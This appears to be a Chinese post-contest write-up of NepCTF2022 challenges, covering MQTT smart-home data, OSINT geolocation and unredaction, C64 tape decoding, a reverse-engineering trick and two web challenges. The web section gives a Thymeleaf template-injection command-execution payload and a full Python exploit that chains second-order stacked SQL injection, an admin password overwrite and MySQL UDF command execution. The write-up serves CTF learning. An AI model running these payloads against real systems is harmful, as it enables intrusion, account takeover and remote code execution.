【NepCTF2022】赛后复现

前言

官方wp出来之后针对一些题目进行复现，这些题目的思路很值得我们去学习，也具有一定的难度，当时比赛时没有做出来。

官方wp：https://www.wolai.com/nepnep/g2DTj6mRtBk2mikVuCyaE6

MISC

原来你也玩智能家居（赛后）

很有新意的一题misc。这题是Home Assistant，我们要找到显示器切换的红外数据。

hint提示要注意开启的应用，看了一下应该是要通过MQTT来进行获取数据，通过订阅连接对物联网设备进行操作。同时由于所有的配置都是默认的，我们去查看下Tasmota有什么默认配置是可以被利用到的：

我们可以利用这个cmdn，通过MQTT一个通配订阅服就可以获取到数据了：

DoubleHappiness

也是一题osint，这个osint的难度比上一题大了好多。题目给了一张图片，在exif中发现了坐标值：

转换度分秒的GPS坐标为经纬度常用格式(120.1,30.278125)，地点为浙商财富中心。
经纬度转换

那么确定外卖地点后，去找附近的瑞幸咖啡店铺：

确定店家，去美团外卖评论区找，最后发现7月13日有这样一条可疑评论：

图片中暴露了微博的名称，我们跟进到微博中，然后在这个人的主页找到了这么一张图：

看左下角的马赛克部分，隐约可以认出来是flag，那么我们就要去掉这个马赛克。使用unRedacter工具跑，根据描述需要加上大写字母、数字和一些符号，更改下宽高，跑工具跑出flag：

啵哔嘀嘟~

打开环境里面是一个流量包，提取其中的7z文件，解压后得到一个wav文件，将其使用如下脚本解码后能得到TAP文件：
wav2tap2.py

做题的时候直接把这个tap文件拖到ccs64里，然后什么都没有，就不知道接下来该干嘛了。按照wp所说的，接下来使用Final Tap处理看到分段的Program：

然后将其转换回bas文件，使用petcat：

petcat -o program.bas -- 123.TAP_TURBOTAPE-250\ DATA_BLOCK_6.PRG

得到program.bas：

10 rdothex$right$($ced4) "HELLO NEPCTF, HELLO NEPNEP~"
20 chr$joyinstrjoy 10
30 rdothex$right$($ced4) "TmVwQ1RGezAxNmVmY2Y3LWEwMWEtNDQ0OC05NjdjLWNjYmJkMTUzZGIzYn0=
32 "

解那个base64就是flag了。

这题的出题思路看得我也是觉得很牛，建议大家也可以去官方wp看看。

REVERSE

快来签到

难怪这么多人做出来，真的不难，但是我就是没想到。其实我之前有看过KCTF那个叹息之墙，但我做的时候真没想到，好气啊。

程序拖入IDA64，设置调整图标显示的最大值，然后看main函数的图标模式，哇哦，惊喜来咯：

属于是被秀到了。

WEB

Challenger

Thymeleaf模板注入，给了jar附件，反编译后发现在/eval下存在变量lang可控并返回lang。

payload:

/eval?h3=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()%7d__::.

博学多闻的花花

在login.php中，登录逻辑是session储存username与studentid的md5值。

在index.php:183看到了insert，且没有对username进行过滤，这里存在sql注入点：

$query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe);
insert into userAnswer values (NULL, '".$_SESSION['username']."', '".$_POST['q1']."', '".$_POST['q2']."', '".$_POST['q3']."', '".$_POST['q4']."', '".$_POST['q5']."')";

存在multi_query，推断是二次注入+堆叠注入，此处payload：

a','1','2','3','4','1');update users set studentid='{passwd}' where username='admin';

sql语句变化如下：

...;insert into userAnswer values (NULL, 'a','1','2','3','4','1');update users set studentid='admin_passwd' where username='admin';#', '1', '1', '1', '1', '1')";

这样就更改了admin的studentid，可以登录。

接下来是udf提权，init.sql文件告诉我们，ctf用户有*.*的file和insert权限，配置文件中的配置均为默认。

由于服务器是linux-x64，在github选取合适的.so文件或者自己编译，本地使用select获取其hex值。在score.php:54中存在二次注入点，闭合后使用dump file写入so文件，再创造udf，最后执行命令反弹shell。没有权限执行cat命令，寻找有suid位的程序curl，执行curl file:///flag获得flag。

官方exp：

import random
import string

import requests
import time

url = " "

CMD = <执行的命令>

session = requests.session()
COOKIES = {

}
HEADERS = {
    "Origin": "",
    "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148",
    "Referer": "",
    'Content-Type': 'application/x-www-form-urlencoded',
}


def req(url, method='get', cookies={}, headers={}, timeout=5, allow_redirects=True, **kwargs):
    # print(url)
    data = kwargs.get("data")
    params = kwargs.get("params")
    cookies.update(COOKIES)
    headers.update(HEADERS)
    if method == 'get':
        resp = session.get(
            url=url,
            data=data,
            params=params,
            headers=headers,
            cookies=cookies,
            timeout=timeout,
            allow_redirects=allow_redirects
        )
    elif method == 'post':
        resp = session.post(
            url=url,
            data=data,
            params=params,
            headers=headers,
            cookies=cookies,
            timeout=timeout,
            allow_redirects=allow_redirects
        )
    else:
        session.close()  # close session
        raise Exception('Requests method error.')
    return resp.content.decode('utf8')


def getRadmonStr():
    return ''.join(random.sample(string.ascii_letters + string.digits, 8))


def reg(sql):
    tarurl = url + "/register.php"
    studentid = getRadmonStr()
    params = {
        "username": sql,
        "studentid": studentid,
        "submit": "提交"
    }
    res = req(tarurl, data=params, method="post")
    return studentid


def login(username, studentid):
    tarurl = url + "/login.php"
    params = {
        "username": username,
        "studentid": studentid,
        "submit": "提交"
    }
    res = req(tarurl, data=params, method="post")
    # print(res)
    return res


def logout():
    tarurl = url + "/logout.php"
    res = req(tarurl)


def postAns():
    tarurl = url + "/index.php"
    params = {
        "q1": "1",
        "q2": "1",
        "q3": "4",
        "q4": "5",
        "q5": "1",
        # "q6": "4"
    }
    res = req(tarurl, data=params, method="post")
    # print(res)


def posScore(studentid):
    tarurl = url + "/score.php"
    params = {
        "studentid": studentid,
    }
    res = req(tarurl, data=params, method="post")
    # print(res)


if __name__ == '__main__':
    passwd = getRadmonStr()
    poc = [
        # 这里可以利用特性直接select获取到admin密码，或者像这样直接修改admin密码
        f"{getRadmonStr()}','{getRadmonStr()}','{getRadmonStr()}','{getRadmonStr()}','{getRadmonStr()}','{getRadmonStr()}');update users set studentid='{passwd}' where username='admin';\x23",
        f"{getRadmonStr()}';select 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into dumpfile '/usr/lib64/mysql/plugin/exp.so';\x23",
        f"{getRadmonStr()}';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'exp.so';\x23",
        f"{getRadmonStr()}';select sys_eval(\"{CMD}\");\x23"
    ]
    pocStudentId = []
    for i in poc:
        pocStudentId.append(reg(i))
    print("[*]Ready to get admin")
    login(poc[0], pocStudentId[0])
    postAns()
    print(f"[*][?]set admin passwd: {passwd}")

    logout()
    if "something err0r" not in (login("admin", passwd)):
        print("[+]login as admin success!")
    else:
        exit("[-]login as admin fail!")

    print("[*]write out file")
    posScore(pocStudentId[1])

    print("[*]create function")
    posScore(pocStudentId[2])

    print(f"[*]exec cmd: {CMD}")
    posScore(pocStudentId[3])